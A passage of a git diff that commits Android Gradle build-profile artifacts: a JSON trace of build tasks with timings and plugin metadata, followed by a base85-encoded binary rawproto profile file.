DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 92\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162756000,"dur":102000},{"pid":1,"tid":0,"id":48,"name":"task: aidl compile","args":{"span_id":"48","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 1\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162859000,"dur":13000},{"pid":1,"tid":0,"id":49,"name":"task: renderscript compile","args":{"span_id":"49","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 54\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162873000,"dur":9000},{"pid":1,"tid":0,"id":50,"name":"task: check manifest","args":{"span_id":"50","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 8\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162883000,"dur":2000},{"pid":1,"tid":0,"id":51,"name":"task: generate build config","args":{"span_id":"51","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 24\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162886000,"dur":3000},{"pid":1,"tid":0,"id":52,"name":"task: prepare lint jar","args":{"span_id":"52","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 119\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162889000,"dur":2000},{"pid":1,"tid":0,"id":53,"name":"task: generate res values","args":{"span_id":"53","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 26\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162892000,"dur":1000},{"pid":1,"tid":0,"id":54,"name":"task: unknown task type","args":{"span_id":"54","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162894000,"dur":100},{"pid":1,"tid":0,"id":55,"name":"task: merge resources","args":{"span_id":"55","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 40\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162894000,"dur":87000},{"pid":1,"tid":0,"id":56,"name":"task: compatible screens manifest","args":{"span_id":"56","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 9\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162982000,"dur":5000},{"pid":1,"tid":0,"id":57,"name":"task: merge manifests","args":{"span_id":"57","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 39\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1520015162988000,"dur":126000},{"pid":1,"tid":0,"id":58,"name":"task: splits discovery","args":{"span_id":"58","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 87\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163125000,"dur":10000},{"pid":1,"tid":0,"id":59,"name":"task: process android resources","args":{"span_id":"59","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 51\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1520015163136000,"dur":503000},{"pid":1,"tid":0,"id":60,"name":"task: unknown task type","args":{"span_id":"60","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1520015163640000,"dur":100},{"pid":1,"tid":0,"id":61,"name":"task: test pre build","args":{"span_id":"61","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 93\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163641000,"dur":31000},{"pid":1,"tid":0,"id":62,"name":"task: aidl compile","args":{"span_id":"62","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 1\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163673000,"dur":7000},{"pid":1,"tid":0,"id":63,"name":"task: process test manifest","args":{"span_id":"63","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 53\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163681000,"dur":4000},{"pid":1,"tid":0,"id":64,"name":"task: renderscript compile","args":{"span_id":"64","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 54\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163685000,"dur":2000},{"pid":1,"tid":0,"id":65,"name":"task: generate build config","args":{"span_id":"65","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 24\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163688000,"dur":100},{"pid":1,"tid":0,"id":66,"name":"task: generate res values","args":{"span_id":"66","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 26\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163689000,"dur":100},{"pid":1,"tid":0,"id":67,"name":"task: unknown task type","args":{"span_id":"67","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163689000,"dur":100},{"pid":1,"tid":0,"id":68,"name":"task: merge resources","args":{"span_id":"68","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 40\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163690000,"dur":53000},{"pid":1,"tid":0,"id":69,"name":"task: splits discovery","args":{"span_id":"69","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 87\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163745000,"dur":2000},{"pid":1,"tid":0,"id":70,"name":"task: process android resources","args":{"span_id":"70","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 51\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163749000,"dur":16000},{"pid":1,"tid":0,"id":71,"name":"task: unknown task type","args":{"span_id":"71","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163766000,"dur":100},{"pid":1,"tid":0,"id":72,"name":"task: mockable android jar","args":{"span_id":"72","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 42\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015163767000,"dur":2000},{"pid":1,"tid":1,"id":73,"name":"base plugin build finished","args":{"span_id":"73","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015163773000,"dur":1000}] \ No newline at end of file diff --git a/build/android-profile/profile-2018-03-02-11-26-03-779.rawproto b/build/android-profile/profile-2018-03-02-11-26-03-779.rawproto new file mode 100644 index 0000000000000000000000000000000000000000..0ee383e0e0a647e21af512ae8c8bf0963a49f712 GIT binary patch literal 4100 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 